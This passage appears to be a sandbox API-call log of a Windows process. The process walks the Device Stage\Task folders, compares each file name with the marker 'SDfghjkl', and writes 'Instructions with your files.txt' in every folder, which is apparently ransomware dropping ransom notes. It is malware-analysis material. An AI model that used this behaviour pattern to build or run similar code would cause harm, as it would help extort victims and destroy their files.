[0120.812] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\pictures.ico") returned 98
[0120.812] StrStrIW (lpFirst="pictures.ico", lpSrch="SDfghjkl") returned 0x0
[0120.812] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c59889, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c59889, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1cdc0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1
[0120.812] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\resource.xml") returned 98
[0120.812] StrStrIW (lpFirst="resource.xml", lpSrch="SDfghjkl") returned 0x0
[0120.812] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2cf1dfd, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2cf1dfd, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ringtones.ico", cAlternateFileName="")) returned 1
[0120.812] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico") returned 99
[0120.812] StrStrIW (lpFirst="ringtones.ico", lpSrch="SDfghjkl") returned 0x0
[0120.812] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d17f5a, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d17f5a, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10850, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ico", cAlternateFileName="")) returned 1
[0120.812] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico") returned 98
[0120.812] StrStrIW (lpFirst="settings.ico", lpSrch="SDfghjkl") returned 0x0
[0120.812] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d3e0b7, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d3e0b7, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc04b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sync.ico", cAlternateFileName="")) returned 1
[0120.812] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico") returned 94
[0120.812] StrStrIW (lpFirst="sync.ico", lpSrch="SDfghjkl") returned 0x0
[0120.812] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c219ec7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x7c219ec7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3473, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1
[0120.812] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml") returned 95
[0120.812] StrStrIW (lpFirst="tasks.xml", lpSrch="SDfghjkl") returned 0x0
[0120.812] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 1
[0120.812] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico") returned 93
[0120.812] StrStrIW (lpFirst="wmp.ico", lpSrch="SDfghjkl") returned 0x0
[0120.812] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 0
[0120.812] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\Instructions with your files.txt") returned 118
[0120.812] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
[0120.812] WriteFile (in: hFile=0x114, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cec04*=0x54, lpOverlapped=0x0) returned 1
[0120.813] WriteFile (in: hFile=0x114, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cec04*=0x18, lpOverlapped=0x0) returned 1
[0120.813] WriteFile (in: hFile=0x114, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cec04*=0xc, lpOverlapped=0x0) returned 1
[0120.813] WriteFile (in: hFile=0x114, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cec04*=0x16, lpOverlapped=0x0) returned 1
[0120.814] WriteFile (in: hFile=0x114, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cec04, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cec04*=0x23, lpOverlapped=0x0) returned 1
[0120.814] CloseHandle (hObject=0x114) returned 1
[0120.814] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0120.814] GetProcessHeap () returned 0x810000
[0120.814] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x889bf8 | out: hHeap=0x810000) returned 1
[0120.814] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1
[0120.814] wnsprintfW (in: pszDest=0x878be8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}") returned 85
[0120.814] GetProcessHeap () returned 0x810000
[0120.814] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x889bf8
[0120.814] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*") returned 87
[0120.814] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0120.816] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\.") returned 87
[0120.816] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.816] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\..") returned 88
[0120.816] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
[0120.816] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned 91
[0120.816] GetProcessHeap () returned 0x810000
[0120.816] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x89ac08
[0120.816] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*") returned 93
[0120.816] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0120.816] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\.") returned 93
[0120.816] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0120.816] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\..") returned 94
[0120.816] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1
[0120.816] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml") returned 104
[0120.816] StrStrIW (lpFirst="resource.xml", lpSrch="SDfghjkl") returned 0x0
[0120.816] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0
[0120.816] wnsprintfW (in: pszDest=0x89ac08, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\Instructions with your files.txt") returned 124
[0120.816] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
[0120.817] WriteFile (in: hFile=0x118, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce974*=0x54, lpOverlapped=0x0) returned 1
[0120.817] WriteFile (in: hFile=0x118, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce974*=0x18, lpOverlapped=0x0) returned 1
[0120.818] WriteFile (in: hFile=0x118, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce974*=0xc, lpOverlapped=0x0) returned 1
[0120.818] WriteFile (in: hFile=0x118, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce974*=0x16, lpOverlapped=0x0) returned 1
[0120.818] WriteFile (in: hFile=0x118, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce974, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce974*=0x23, lpOverlapped=0x0) returned 1
[0120.818] CloseHandle (hObject=0x118) returned 1
[0120.818] FindClose (in: hFindFile=0x876cf8 | out: hFindFile=0x876cf8) returned 1
[0120.818] GetProcessHeap () returned 0x810000
[0120.818] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x89ac08 | out: hHeap=0x810000) returned 1
[0120.818] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78a2eab, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1
[0120.818] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico") returned 96
[0120.818] StrStrIW (lpFirst="folder.ico", lpSrch="SDfghjkl") returned 0x0
[0120.818] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0eca86, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0eca86, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78c9009, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xe3c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_pref.ico", cAlternateFileName="")) returned 1
[0120.818] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_pref.ico") returned 100
[0120.818] StrStrIW (lpFirst="print_pref.ico", lpSrch="SDfghjkl") returned 0x0
[0120.818] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f0eca86, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f0eca86, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc78c9009, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xebb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_property.ico", cAlternateFileName="")) returned 1
[0120.818] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_property.ico") returned 104
[0120.818] StrStrIW (lpFirst="print_property.ico", lpSrch="SDfghjkl") returned 0x0
[0120.818] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f112be3, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f112be3, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7be8cbf, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xdff5, dwReserved0=0x0, dwReserved1=0x0, cFileName="print_queue.ico", cAlternateFileName="")) returned 1
[0120.818] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\print_queue.ico") returned 101
[0120.818] StrStrIW (lpFirst="print_queue.ico", lpSrch="SDfghjkl") returned 0x0
[0120.818] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f138d40, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f138d40, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c0ee1d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xec75, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_.ico", cAlternateFileName="")) returned 1
[0120.818] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_.ico") returned 95
[0120.819] StrStrIW (lpFirst="scan_.ico", lpSrch="SDfghjkl") returned 0x0
[0120.819] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f15ee9d, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f15ee9d, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c0ee1d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10654, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_property.ico", cAlternateFileName="")) returned 1
[0120.819] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_property.ico") returned 103
[0120.819] StrStrIW (lpFirst="scan_property.ico", lpSrch="SDfghjkl") returned 0x0
[0120.819] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f138d40, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f138d40, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7c34f7b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xf8c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="scan_settings.ico", cAlternateFileName="")) returned 1
[0120.819] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\scan_settings.ico") returned 103
[0120.819] StrStrIW (lpFirst="scan_settings.ico", lpSrch="SDfghjkl") returned 0x0
[0120.819] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1
[0120.819] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\tasks.xml") returned 95
[0120.819] StrStrIW (lpFirst="tasks.xml", lpSrch="SDfghjkl") returned 0x0
[0120.819] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 0
[0120.819] wnsprintfW (in: pszDest=0x889bf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\Instructions with your files.txt") returned 118
[0120.819] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\Instructions with your files.txt" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114
